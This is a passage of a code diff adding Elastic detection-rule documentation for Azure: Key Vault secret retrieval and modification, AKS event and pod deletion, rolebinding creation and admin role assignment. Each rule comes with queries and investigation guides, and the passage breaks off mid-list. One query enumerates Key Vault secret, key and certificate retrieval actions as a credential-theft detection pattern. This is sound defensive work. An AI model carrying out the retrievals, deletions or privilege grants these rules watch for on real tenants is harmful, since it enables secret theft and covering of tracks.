Esql.time_window_date_trunc, + Esql_priv.azure_platformlogs_identity_claim_upn_values, + Esql.azure_platformlogs_identity_claim_upn_count_distinct, + Esql.azure_platformlogs_identity_claim_appid_values, + Esql.source_ip_values, + Esql.source_geo_city_values, + Esql.source_geo_region_values, + Esql.source_geo_country_values, + Esql.source_as_organization_name_values, + Esql.event_action_values, + Esql.event_count, + Esql.event_action_count_distinct, + Esql.azure_resource_name_count_distinct, + Esql.azure_resource_name_values, + Esql.azure_platformlogs_result_type_values, + Esql.cloud_region_values, + Esql.agent_name_values, + Esql.azure_subscription_id_values, + Esql.azure_resource_group_values, + Esql.azure_resource_id_values + +// Filter for suspiciously high volume of distinct Key Vault reads by a single actor +| where Esql.azure_platformlogs_identity_claim_upn_count_distinct == 1 and Esql.event_count >= 10 and Esql.event_action_count_distinct >= 2 + +| sort Esql.time_window_date_trunc desc + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-key-vault-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-key-vault-modified.asciidoc new file mode 100644 index 0000000000..fd39baffb1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-key-vault-modified.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-21-azure-key-vault-modified]] +=== Azure Key Vault Modified + +Identifies modifications to a Key Vault in Azure. The Key Vault is a service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. Because this data is sensitive and business critical, access to key vaults should be secured to allow only authorized applications and users. This is a New Terms rule that detects when this activity hasn't been seen by the user in a specified time frame. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.activitylogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/key-vault/general/basic-concepts +* https://docs.microsoft.com/en-us/azure/key-vault/general/secure-your-key-vault +* https://learn.microsoft.com/en-us/azure/key-vault/general/security-features + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Azure Activity Logs +* Tactic: Impact +* Use Case: Configuration Audit +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Key Vault Modified* + + +Azure Key Vault is a cloud service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. It is crucial for managing sensitive data in Azure environments. Unauthorized modifications to Key Vaults can lead to data breaches or service disruptions. This rule detects modifications to Key Vaults, which may indicate potential security incidents or misconfigurations. + + +*Possible investigation steps* + +- Review the `azure.activitylogs.operation_name` field to identify the specific operation performed on the Key Vault. Common operations include `Microsoft.KeyVault/vaults/write` for modifications and `Microsoft.KeyVault/vaults/delete` for deletions. +- Check the `event.outcome` field to confirm the success of the operation. A successful outcome indicates that the modification or deletion was completed. +- Investigate the `azure.activitylogs.identity.principal_id` or `azure.activitylogs.identity.principal_name` fields to determine the user or service principal that performed the operation. This can help identify whether the action was authorized or potentially malicious. +- Analyze the `azure.activitylogs.resource_id` field to identify the specific Key Vault that was modified. This can help assess the impact of the change and whether it affects critical resources or applications. +- Cross-reference the time of the modification with other security events or alerts in the environment to identify any patterns or related activities that may indicate a coordinated attack or misconfiguration. +- Consult with relevant stakeholders or system owners to verify if the modification was planned or expected, and gather additional context if necessary. + + +*False positive analysis* + +- Routine maintenance activities by administrators can trigger alerts when they modify or delete Key Vaults. To manage this, create exceptions for known maintenance windows or specific administrator accounts. +- Automated scripts or tools used for Key Vault management might perform frequent updates or deletions, leading to false positives. Identify these scripts and exclude their operations from triggering alerts by using specific identifiers or tags. +- Changes made by authorized third-party services or integrations that manage Key Vault configurations can also result in false positives. Review and whitelist these services to prevent unnecessary alerts. +- Regular updates or deployments in a development or testing environment may cause alerts. Consider excluding these environments from monitoring or adjusting the rule to focus on production environments only. +- Temporary changes for troubleshooting or testing purposes might be flagged. Document these activities and use temporary exceptions to avoid false positives during these periods. + + +*Response and remediation* + +- Immediately isolate the affected Key Vault to prevent further unauthorized access or changes. +- Review the Azure activity logs to identify the specific operations performed on the Key Vault and their outcomes. +- Collaborate with security teams to assess the impact of the modifications and determine if any sensitive data was compromised. +- If unauthorized changes are confirmed, initiate incident response procedures, including notifying affected parties and conducting a thorough investigation. +- Implement additional monitoring and alerting for the affected Key Vault to detect any further suspicious activity. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.activitylogs" + and azure.activitylogs.operation_name: MICROSOFT.KEYVAULT/VAULTS/* + and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-key-vault-unusual-secret-key-usage.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-key-vault-unusual-secret-key-usage.asciidoc new file mode 100644 index 0000000000..4db3abb8ca --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-key-vault-unusual-secret-key-usage.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-azure-key-vault-unusual-secret-key-usage]] +=== Azure Key Vault Unusual Secret Key Usage + +Identifies secrets, keys, or certificates retrieval operations from Azure Key Vault by a user principal that has not been seen previously doing so in a certain amount of days. Azure Key Vault is a cloud service for securely storing and accessing secrets, keys, and certificates. Unauthorized or excessive retrievals may indicate potential abuse or unauthorized access attempts. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.platformlogs-* + +*Severity*: medium + +*Risk score*: 43 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.inversecos.com/2022/05/detection-and-compromise-azure-key.html + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Domain: Identity +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Azure Key Vault +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Key Vault Unusual Secret Key Usage* + + +Azure Key Vault is a cloud service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. It is crucial for managing sensitive data in Azure environments. Unauthorized modifications to Key Vaults can lead to data breaches or service disruptions. This rule detects excessive secret or key retrieval operations from Azure Key Vault, which may indicate potential abuse or unauthorized access attempts. + + +*Possible investigation steps* + +- Review the `azure.platformlogs.identity.claim.upn` field to identify the user principal making the retrieval requests. This can help determine if the activity is legitimate or suspicious. +- Check the `azure.platformlogs.identity.claim.appid` or `azure.platformlogs.identity.claim.appid_display_name` to identify the application or service making the requests. If the application is not recognized or authorized, it may indicate a potential security incident. It is plausible that the application is a FOCI compliant application, which are commonly abused by adversaries to evade security controls or conditional access policies. +- Analyze the `azure.platformlogs.resource.name` field to determine which Key Vault is being accessed. This can help assess the impact of the retrieval operations and whether they target sensitive resources. +- Review the `event.action` field to confirm the specific actions being performed, such as `KeyGet`, `SecretGet`, or `CertificateGet`. These actions indicate retrieval of keys, secrets, or certificates from the Key Vault. +- Check the `source.ip` or `geo.*` fields to identify the source of the retrieval requests. Look for unusual or unexpected IP addresses, especially those associated with known malicious activity or geographic locations that do not align with the user's typical behavior. +- Use the `time_window` field to analyze the frequency of retrieval operations. If multiple retrievals occur within a short time frame (e.g., within a few minutes), it may indicate excessive or suspicious activity. +- Correlate the retrieval operations with other security events or alerts in the environment to identify any patterns or related incidents. +- Triage the user with Entra ID sign-in logs to gather more context about their authentication behavior and any potential anomalies. + + +*False positive analysis* + +- Routine administrative tasks or automated scripts may trigger excessive retrievals, especially in environments where Key Vaults are heavily utilized for application configurations or secrets management. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Legitimate applications or services may perform frequent retrievals of keys or secrets for operational purposes, such as configuration updates or secret rotation. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Security teams may perform periodic audits or assessments that involve retrieving keys or secrets from Key Vaults. If this is expected behavior, consider adjusting the rule or adding exceptions for specific user principals or applications. +- Some applications may require frequent access to keys or secrets for normal operation, leading to high retrieval counts. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. + + +*Response and remediation* + +- Investigate the user principal making the excessive retrieval requests to determine if they are authorized to access the Key Vault and its contents. If the user is not authorized, take appropriate actions to block their access and prevent further unauthorized retrievals. +- Review the application or service making the requests to ensure it is legitimate and authorized to access the Key Vault. If the application is unauthorized or suspicious, consider blocking it and revoking its permissions to access the Key Vault. +- Assess the impact of the excessive retrieval operations on the Key Vault and its contents. Determine if any sensitive data was accessed or compromised during the retrievals. +- Implement additional monitoring and alerting for the Key Vault to detect any further suspicious activity or unauthorized access attempts. +- Consider implementing stricter access controls or policies for Key Vaults to limit excessive retrievals and ensure that only authorized users and applications can access sensitive keys and secrets. +- Educate users and administrators about the risks associated with excessive retrievals from Key Vaults and encourage them to follow best practices for managing keys and secrets in Azure environments. + + +==== Setup + + + +*Required Azure Key Vault Diagnostic Logs* + + +To ensure this rule functions correctly, the following diagnostic logs must be enabled for Azure Key Vault: +- AuditEvent: This log captures all read and write operations performed on the Key Vault, including secret, key, and certificate retrievals. These logs should be streamed to the Event Hub used for the Azure integration configuration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "azure.platformlogs" and +event.outcome: "success" and +event.action : ( + "VaultGet" or + "KeyGet" or + "KeyList" or + "KeyListVersions" or + "KeyGetDeleted" or + "KeyListDeleted" or + "SecretGet" or + "SecretList" or + "SecretListVersions" or + "SecretGetDeleted" or + "SecretListDeleted" or + "CertificateGet" or + "CertificateList" or + "CertificateListVersions" or + "CertificateGetDeleted" or + "CertificateListDeleted" or + "CertificatePolicyGet" or + "CertificateContactsGet" or + "CertificateIssuerGet" or + "CertificateIssuersList" +) and azure.platformlogs.identity.claim.upn: * and azure.platformlogs.properties.id: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-events-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-events-deleted.asciidoc new file mode 100644 index 0000000000..15f787d3cf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-events-deleted.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-events-deleted]] +=== Azure Kubernetes Services (AKS) Kubernetes Events Deleted + +Identifies when events are deleted in Azure Kubernetes. Kubernetes events are objects that log any state changes. Example events are a container creation, an image pull, or a pod scheduling on a node. An adversary may delete events in Azure Kubernetes in an attempt to evade detection. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Kubernetes Services (AKS) Kubernetes Events Deleted* + + +Azure Kubernetes Service (AKS) manages containerized applications using Kubernetes, which logs events like state changes. These logs are crucial for monitoring and troubleshooting. Adversaries may delete these logs to hide their tracks, impairing defenses. The detection rule identifies such deletions by monitoring specific Azure activity logs, flagging successful deletion operations to alert security teams of potential evasion tactics. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking for the operation name "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE" and ensure the event outcome is marked as "Success". +- Identify the user or service principal responsible for the deletion by examining the associated identity information in the activity logs. +- Investigate the timeline of events leading up to and following the deletion to identify any suspicious activities or patterns, such as unauthorized access attempts or configuration changes. +- Check for any other related alerts or anomalies in the Azure environment that might indicate a broader attack or compromise. +- Assess the impact of the deleted events by determining which Kubernetes resources or operations were affected and if any critical logs were lost. +- Review access controls and permissions for the user or service principal involved to ensure they align with the principle of least privilege and adjust if necessary. +- Consider implementing additional monitoring or alerting for similar deletion activities to enhance detection and response capabilities. + + +*False positive analysis* + + +- Routine maintenance activities by authorized personnel may trigger deletion events. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for log rotation or cleanup might delete events as part of their normal operation. Identify these scripts and exclude their activity from triggering alerts by whitelisting their associated service accounts or IP addresses. +- Misconfigured applications or services that inadvertently delete logs can cause false positives. Review application configurations and adjust them to prevent unnecessary deletions, and exclude these applications from alerts if they are verified as non-threatening. +- Test environments often generate log deletions during setup or teardown processes. Exclude these environments from monitoring or create specific rules that differentiate between production and test environments to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Kubernetes cluster to prevent further unauthorized access or tampering with logs. +- Conduct a thorough review of recent activity logs and access permissions for the affected cluster to identify any unauthorized access or privilege escalation. +- Restore deleted Kubernetes events from backups or snapshots if available, to ensure continuity in monitoring and auditing. +- Implement stricter access controls and audit logging for Kubernetes event deletion operations to prevent unauthorized deletions in the future. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to the incident response team if there is evidence of broader compromise or if the deletion is part of a larger attack campaign. +- Review and update incident response plans to incorporate lessons learned from this event, ensuring quicker detection and response to similar threats in the future. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/EVENTS.K8S.IO/EVENTS/DELETE" and +event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-pods-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-pods-deleted.asciidoc new file mode 100644 index 0000000000..821722f6f7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-pods-deleted.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-pods-deleted]] +=== Azure Kubernetes Services (AKS) Kubernetes Pods Deleted + +Identifies the deletion of Azure Kubernetes Pods. Adversaries may delete a Kubernetes pod to disrupt the normal behavior of the environment. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Asset Visibility +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Kubernetes Services (AKS) Kubernetes Pods Deleted* + + +Azure Kubernetes Service (AKS) enables the deployment, management, and scaling of containerized applications using Kubernetes. Pods, the smallest deployable units in Kubernetes, can be targeted by adversaries to disrupt services or evade detection. Malicious actors might delete pods to cause downtime or hide their activities. The detection rule monitors Azure activity logs for successful pod deletion operations, alerting security teams to potential unauthorized actions that could impact the environment's stability and security. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the details of the pod deletion event, focusing on the operation name "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/PODS/DELETE" and ensuring the event outcome is marked as "Success". +- Identify the user or service principal responsible for the deletion by examining the associated identity information in the activity logs. +- Check the timeline of events leading up to the pod deletion to identify any unusual or unauthorized access patterns or activities. +- Investigate the specific Kubernetes cluster and namespace where the pod deletion occurred to assess the potential impact on services and applications. +- Cross-reference the deleted pod's details with recent changes or deployments in the environment to determine if the deletion was part of a legitimate maintenance or deployment activity. +- Consult with the relevant application or infrastructure teams to verify if the pod deletion was authorized and necessary, or if it indicates a potential security incident. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel can lead to legitimate pod deletions. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scaling operations might delete pods as part of normal scaling activities. Identify and exclude these operations by correlating with scaling events or using tags that indicate automated processes. +- Development and testing environments often experience frequent pod deletions as part of normal operations. Consider excluding these environments from alerts by using environment-specific identifiers or tags. +- Scheduled job completions may result in pod deletions once tasks are finished. Implement rules to recognize and exclude these scheduled operations by matching them with known job schedules or identifiers. + + +*Response and remediation* + + +- Immediately isolate the affected Kubernetes cluster to prevent further unauthorized actions. This can be done by restricting network access or applying stricter security group rules temporarily. +- Review the Azure activity logs to identify the source of the deletion request, including the user or service principal involved, and verify if the action was authorized. +- Recreate the deleted pods using the latest known good configuration to restore services and minimize downtime. +- Conduct a thorough security assessment of the affected cluster to identify any additional unauthorized changes or indicators of compromise. +- Implement stricter access controls and role-based access management to ensure only authorized personnel can delete pods in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional clusters or resources are affected. +- Enhance monitoring and alerting for similar activities by integrating with a Security Information and Event Management (SIEM) system to detect and respond to unauthorized pod deletions promptly. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/PODS/DELETE" and +event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ +* Technique: +** Name: System Shutdown/Reboot +** ID: T1529 +** Reference URL: https://attack.mitre.org/techniques/T1529/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-rolebindings-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-rolebindings-created.asciidoc new file mode 100644 index 0000000000..29cb90383f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-rolebindings-created.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-21-azure-kubernetes-services-aks-kubernetes-rolebindings-created]] +=== Azure Kubernetes Services (AKS) Kubernetes Rolebindings Created + +Identifies the creation of role binding or cluster role bindings. You can assign these roles to Kubernetes subjects (users, groups, or service accounts) with role bindings and cluster role bindings. An adversary who has permissions to create bindings and cluster-bindings in the cluster can create a binding to the cluster-admin ClusterRole or to other high privileges roles. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes +* https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Kubernetes Services (AKS) Kubernetes Rolebindings Created* + +Azure Kubernetes role bindings are crucial for managing access control within Kubernetes clusters, allowing specific permissions to be assigned to users, groups, or service accounts. Adversaries with the ability to create these bindings can escalate privileges by assigning themselves or others high-level roles, such as cluster-admin. The detection rule monitors Azure activity logs for successful creation events of role or cluster role bindings, signaling potential unauthorized privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service account associated with the role binding creation event. Focus on the `event.dataset` and `azure.activitylogs.operation_name` fields to confirm the specific operation. +- Check the `event.outcome` field to ensure the operation was successful and not a failed attempt, which might indicate a misconfiguration or testing. +- Investigate the permissions and roles assigned to the identified user or service account to determine if they have legitimate reasons to create role bindings or cluster role bindings. +- Examine the context of the role binding creation, such as the time of the event and any related activities, to identify any unusual patterns or correlations with other suspicious activities. +- Verify if the role binding grants elevated privileges, such as cluster-admin, and assess the potential impact on the cluster's security posture. +- Cross-reference the event with any recent changes in the cluster's configuration or access policies to understand if the role binding creation aligns with authorized administrative actions. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when legitimate users create role bindings for operational purposes. To manage this, identify and whitelist specific user accounts or service accounts that regularly perform these tasks. +- Automated deployment tools or scripts that configure Kubernetes clusters might create role bindings as part of their normal operation. Exclude these tools by filtering out known service accounts or IP addresses associated with these automated processes. +- Scheduled maintenance or updates to the Kubernetes environment can result in multiple role binding creation events. Establish a maintenance window and suppress alerts during this period to avoid unnecessary noise. +- Development and testing environments often have frequent role binding changes. Consider creating separate monitoring rules with adjusted thresholds or risk scores for these environments to reduce false positives. +- Collaboration with the DevOps team can help identify expected role binding changes, allowing for preemptive exclusion of these events from triggering alerts. + + +*Response and remediation* + + +- Immediately revoke any newly created role bindings or cluster role bindings that are unauthorized or suspicious to prevent further privilege escalation. +- Isolate the affected Kubernetes cluster from the network to prevent potential lateral movement or further exploitation by the adversary. +- Conduct a thorough review of recent activity logs to identify any unauthorized access or changes made by the adversary, focusing on the time frame around the alert. +- Reset credentials and access tokens for any compromised accounts or service accounts involved in the unauthorized role binding creation. +- Escalate the incident to the security operations team for further investigation and to determine if additional clusters or resources are affected. +- Implement additional monitoring and alerting for any future role binding or cluster role binding creation events to ensure rapid detection and response. +- Review and tighten role-based access control (RBAC) policies to ensure that only necessary permissions are granted to users, groups, and service accounts, minimizing the risk of privilege escalation. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name: + ("MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/ROLEBINDINGS/WRITE" or + "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/RBAC.AUTHORIZATION.K8S.IO/CLUSTERROLEBINDINGS/WRITE") and +event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-rbac-built-in-administrator-roles-assigned.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-rbac-built-in-administrator-roles-assigned.asciidoc new file mode 100644 index 0000000000..b5140d2067 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-azure-rbac-built-in-administrator-roles-assigned.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-21-azure-rbac-built-in-administrator-roles-assigned]] +=== Azure RBAC Built-In Administrator Roles Assigned + +Identifies when a user is assigned a built-in administrator role in Azure RBAC (Role-Based Access Control). These roles provide significant privileges and can be abused by attackers for lateral movement, persistence, or privilege escalation. The privileged built-in administrator roles include Owner, Contributor, User Access Administrator, Azure File Sync Administrator, Reservations Administrator, and Role Based Access Control Administrator. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.activitylogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles +* https://orca.security/resources/research-pod/azure-identity-access-management-iam-active-directory-ad/ +* https://www.microsoft.com/en-us/security/blog/2025/08/27/storm-0501s-evolving-techniques-lead-to-cloud-based-ransomware/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Activity Logs +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating Azure RBAC Built-In Administrator Roles Assigned* + + +This rule identifies when a user is assigned a built-in administrator role in Azure RBAC (Role-Based Access Control). These roles provide significant privileges and can be abused by attackers for lateral movement, persistence, or privilege escalation. The privileged built-in administrator roles include Owner, Contributor, User Access Administrator, Azure File Sync Administrator, Reservations Administrator, and Role Based Access Control Administrator. Assignment can be done via the Azure portal, Azure CLI, PowerShell, or through API calls. Monitoring these assignments helps detect potential unauthorized privilege escalations. + + +*Privileged Built-In Administrator Roles* + +- Contributor: b24988ac-6180-42a0-ab88-20f7382dd24c +- Owner: 